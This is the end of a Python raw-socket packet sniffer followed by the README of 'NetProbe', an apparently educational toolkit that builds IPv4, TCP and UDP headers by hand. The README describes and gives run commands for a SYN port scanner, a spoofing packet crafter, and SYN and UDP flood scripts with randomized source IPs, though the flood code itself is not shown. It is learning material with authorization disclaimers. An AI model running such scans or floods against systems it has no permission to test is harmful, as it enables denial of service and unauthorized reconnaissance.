    # If IP filter set — check both src and dst IP
    if args.ip is not None:
        if ip["src_ip"] != args.ip and \
           ip["dst_ip"] != args.ip:
            return False

    # If protocol filter set
    if args.protocol is not None:
        if args.protocol.upper() == "TCP" and ip["protocol"] != 6:
            return False
        if args.protocol.upper() == "UDP" and ip["protocol"] != 17:
            return False

    return True   # passed all filters
# ─────────────────────────────────────────────────────────────
# MAIN SNIFFER LOOP
# ─────────────────────────────────────────────────────────────

def start_sniffing(interface: str = "eth0", args=None) -> None:
    """
    Main capture loop. Creates the socket and processes packets forever.

    THE CAPTURE LOOP:
    -----------------
    sock.recvfrom(65535) blocks — it pauses here and waits until
    a packet arrives. 65535 is the maximum IP packet size so we
    never truncate a packet.

    When a packet arrives:
      1. recvfrom returns (raw_bytes, address_info)
      2. We parse the Ethernet header first
      3. Check EtherType — only process IPv4 (0x0800)
      4. Parse IP header
      5. Check protocol field (byte 9) — TCP=6 or UDP=17
      6. Parse the appropriate transport header
      7. Display the results
      8. Go back to waiting

    PACKET COUNTER:
    ---------------
    We keep a simple counter to show how many packets were captured.
    Printed when the user stops the sniffer with Ctrl+C.

    KEYBOARDINTERRUPT:
    ------------------
    When you press Ctrl+C, Python raises a KeyboardInterrupt exception.
    Without the try/except, this would crash the program with an ugly
    traceback and leave the socket open.

    We catch it, print a summary, close the socket cleanly, and exit.

    Args:
        interface: Network interface to listen on (default "eth0")
                   Change to "wlan0" for wireless
    """
    sock = create_socket(interface)
    packet_count = 0

    try:
        while True:
            # Block here until a packet arrives
            # raw_frame = complete Ethernet frame as bytes
            # addr = (interface_name, protocol, ...) — we don't use this
            raw_frame, addr = sock.recvfrom(65535)

            # ── Step 1: Parse Ethernet header ──────────────────────
            dst_mac, src_mac, ethertype, ip_payload = parse_ethernet_header(raw_frame)

            eth_info = {"src_mac": src_mac, "dst_mac": dst_mac}

            # Only process IPv4 packets (EtherType 0x0800)
            # Ignore ARP (0x0806), IPv6 (0x86DD), etc.
            if ethertype != 0x0800:
                continue   # skip this packet, go back to waiting

            # ── Step 2: Parse IP header ─────────────────────────────
            ip_info = parse_ip_header(ip_payload)
            protocol = ip_info["protocol"]
            ip_header_len = ip_info["header_length"]

            # ── Step 3: Parse transport layer ──────────────────────
            # Protocol 6 = TCP, Protocol 17 = UDP
            # Anything else (ICMP etc.) we skip for now
            if protocol == 6:
                transport_info = parse_tcp_header(ip_payload, ip_header_len)
                proto_name = "TCP"

            elif protocol == 17:
                transport_info = parse_udp_header(ip_payload, ip_header_len)
                proto_name = "UDP"

            else:
                # ICMP, IGMP, and others — not handled yet
                continue

            if args is not None and not matches_filter(ip_info, transport_info, args):
                continue

            # ── Step 4: Display results ─────────────────────────────
            packet_count += 1
            display_packet(eth_info, ip_info, transport_info, proto_name)

    except KeyboardInterrupt:
        # User pressed Ctrl+C — clean up and exit gracefully
        print(f"\n\n[*] Sniffer stopped.")
        print(f"[*] Total packets captured: {packet_count}")
        sock.close()


# ─────────────────────────────────────────────────────────────
# ENTRY POINT
# ─────────────────────────────────────────────────────────────

if __name__ == "__main__":
    """
    WHAT IS if __name__ == "__main__"?
    ------------------------------------
    Every Python file has a built-in variable called __name__.

    When you RUN a file directly:
        python3 sniffer.py
        → __name__ is set to "__main__"
        → this block executes

    When you IMPORT a file from another file:
        import sniffer
        → __name__ is set to "sniffer" (the module name)
        → this block does NOT execute

    This lets the same file work both as a standalone script
    AND as a module that other files can import safely without
    accidentally starting the sniffer on import.

    CHANGE "eth0" TO YOUR INTERFACE:
    ---------------------------------
    Run 'ip link show' or 'ifconfig' in your terminal to see
    your available interfaces. Common ones:
        eth0  = wired ethernet
        wlan0 = wireless
        lo    = loopback (127.0.0.1, local only)
    """
    parser = argparse.ArgumentParser(description="NetProbe Sniffer")
    parser.add_argument("--interface", default="eth0")
    parser.add_argument("--port", type=int)
    parser.add_argument("--ip")
    parser.add_argument("--protocol")
    args = parser.parse_args()

    start_sniffing(interface=args.interface, args=args)

NetProbe 🔬

A low-level network analysis and attack simulation toolkit built from scratch in Python.

Implements IPv4, TCP, and UDP protocol headers manually using raw sockets and Python's struct module — no Scapy, no high-level abstractions. Every byte, every checksum, every flag is built and understood from first principles.


Why I Built This

I tried learning TCP/UDP/IP from several sources before starting this — YouTube videos, documentation, forums, AI tools for quick questions. Every resource explained the same surface-level differences: TCP is reliable, UDP is fast, use TCP when you can't miss data. I thought I understood it. I felt confident.

Then I opened Wireshark, searched google.com, and expected to see TCP everywhere. Instead I saw mostly UDP — and a wall of hexadecimal I couldn't make sense of. That moment broke my confidence completely. I realized I knew about TCP and UDP but had no idea what was actually happening on the wire.

That's what started this project. I wanted to go all the way down — not just read about headers but actually build them byte by byte, understand why each field exists, and see the results live in captured traffic.

One thing that helped more than I expected: my college background in binary arithmetic, logic gates, and number systems. Understanding one's complement, bitwise AND, bit shifting — not just "convert this hex to binary using Google" but actually knowing how the calculation works — made the checksum algorithm and flag manipulation click in ways they wouldn't have otherwise.

I already had years of Python experience but socket and struct were completely new to me. I learned them entirely through this project. The whole thing took about two weeks, averaging 1.5-2 hours a day — roughly 20-30 hours of focused work on concepts I thought I already knew.

Now when I run nmap -sS or ping or look at Wireshark output, my brain works differently. I know what's happening behind each flag, each TTL value, each handshake. I can choose the right tool and the right options because I understand what they actually do — not just that they work.


What It Does

Tool Description
sniffer.py Captures and parses live network traffic at the Ethernet layer
port_scanner.py TCP SYN (half-open) port scanner with threading
handshake_monitor.py Detects TCP three-way handshakes in real time
packet_crafter.py Interactive tool to craft and send custom TCP/UDP packets
syn_flood.py TCP SYN flood simulation (authorized testing only)
udp_flood.py UDP flood simulation (authorized testing only)

Requirements


Installation

git clone https://github.com/id-sidhu/netprobe.git
cd netprobe

That's it. No pip install, no virtualenv. Pure stdlib.


Usage

Packet Sniffer

Captures all TCP and UDP traffic on an interface.

sudo python3 tools/sniffer.py

With filters:

sudo python3 tools/sniffer.py --port 53           # DNS traffic only
sudo python3 tools/sniffer.py --ip 142.251.45.131 # specific IP only
sudo python3 tools/sniffer.py --protocol TCP       # TCP only
sudo python3 tools/sniffer.py --interface wlan0    # wireless interface

Example output:

────────────────────────────────────────────────────────────
  Protocol : TCP
  Ethernet : aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66
  IP       : 192.168.1.100:54321 → 142.251.45.131:443
  TTL      : 64  |  Length: 40 bytes  |  Checksum: 0x9307
  Flags    : SYN
  Seq      : 2847293847  |  Ack: 0
  Window   : 65535 bytes

Port Scanner

TCP SYN scan of ports 1-1024 on a target machine.

sudo python3 tools/port_scanner.py

Example output:

[*] Starting SYN scan on 192.168.1.1
[*] Scanning ports 1-1024

[*] Scan complete
[*] Found 3 open port(s):

  Port 22/tcp   open
  Port 80/tcp   open
  Port 443/tcp  open

Handshake Monitor

Watches live traffic and prints every new TCP connection as it's established.

sudo python3 tools/handshake_monitor.py

Example output:

[*] Sniffer started on interface: eth0
[*] Press Ctrl+C to stop

[+] HANDSHAKE COMPLETE
    192.168.1.100:54321 → 142.251.45.131:443
    Time: 14:23:07

Packet Crafter

Interactive tool for crafting custom packets with full field control.

sudo python3 tools/packet_crafter.py
==================================================
  NetProbe Packet Crafter
==================================================
Source IP [default: your IP]:
Destination IP: 192.168.1.1
Protocol [TCP/UDP, default: TCP]:
TTL [default: 64]:
Source port [default: random]:
Destination port [default: 80]:
Flags [default: SYN]: RST

[*] Sending packet...
    192.168.1.100:61234 → 192.168.1.1:80
    Flags: RST  TTL: 64  Seq: 3421987234
[*] Packet sent (40 bytes)

[+] Response received!
    192.168.1.1:80 → 192.168.1.100:61234
    Flags: ACK  TTL: 64

Attack Modules

⚠️ For authorized testing only. Only use against machines you own or have explicit written permission to test. Unauthorized use is illegal.

sudo python3 attacks/syn_flood.py
sudo python3 attacks/udp_flood.py

Both take a target IP and port interactively and print a packet counter every 1000 packets.


Project Structure

netprobe/
├── core/
│   ├── ip_header.py          # IPv4 header — manual struct packing, RFC 791
│   ├── tcp_header.py         # TCP header — pseudo-header checksum, RFC 793
│   └── udp_header.py         # UDP header — datagram construction, RFC 768
├── tools/
│   ├── sniffer.py            # AF_PACKET raw socket, promiscuous mode
│   ├── port_scanner.py       # Half-open SYN scan, ThreadPoolExecutor
│   ├── handshake_monitor.py  # State machine, 4-tuple connection tracking
│   └── packet_crafter.py     # Interactive packet builder, spoofing support
├── attacks/
│   ├── syn_flood.py          # Randomized source IP, 500 threads
│   └── udp_flood.py          # UDP datagram flood, randomized source IP
└── docs/
    └── protocol_notes.md     # Detailed writeup of every concept implemented

How It's Built

Everything in core/ is hand-rolled from RFC specifications:

IP Header construction:

# version and IHL packed into one byte using bit shifting
ver_ihl = (self.version << 4) | self.ihl

# RFC 1071 one's complement checksum
def _calculate_checksum(self, data):
    s = 0
    for i in range(0, len(data), 2):
        word = (data[i] << 8) + data[i + 1]
        s += word
    while s >> 16:
        s = (s & 0xFFFF) + (s >> 16)
    return ~s & 0xFFFF

TCP pseudo-header for checksum:

# TCP checksum covers IP addresses — binds TCP checksum to the IP layer
# so misrouted packets are detected even if IP header looks valid
pseudo_header = struct.pack("!4s4sBBH",
    socket.inet_aton(src_ip),
    socket.inet_aton(dst_ip),
    0,
    6,           # TCP protocol number
    tcp_length
)

No third-party libraries. No abstractions. Just bytes.


Key Technical Concepts


The Wireshark Moment

One thing worth noting for anyone starting a similar project — when I first opened Wireshark after learning "TCP is reliable, use it when data matters," I expected to see TCP everywhere on a Google search. Instead I saw mostly UDP on port 443.

That's QUIC (HTTP/3) — Google rebuilt reliability on top of UDP with their own custom rules, because it's faster than TCP for modern web traffic. No three-way handshake delay, no head-of-line blocking. The surface-level explanation of TCP vs UDP completely missed this.

Building this project from the byte level up is what made that make sense. You can't fully understand why modern protocols make the choices they do until you understand what they're working around.


Detailed Documentation

For a full writeup of every protocol concept, implementation decision, and challenge faced during this project, see docs/protocol_notes.md


Disclaimer

This toolkit is for educational purposes and authorized security testing only. The attack modules simulate real DoS attacks and must only be used against systems you own or have explicit written permission to test.

Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws in other jurisdictions.


License

MIT License — use freely, learn deeply.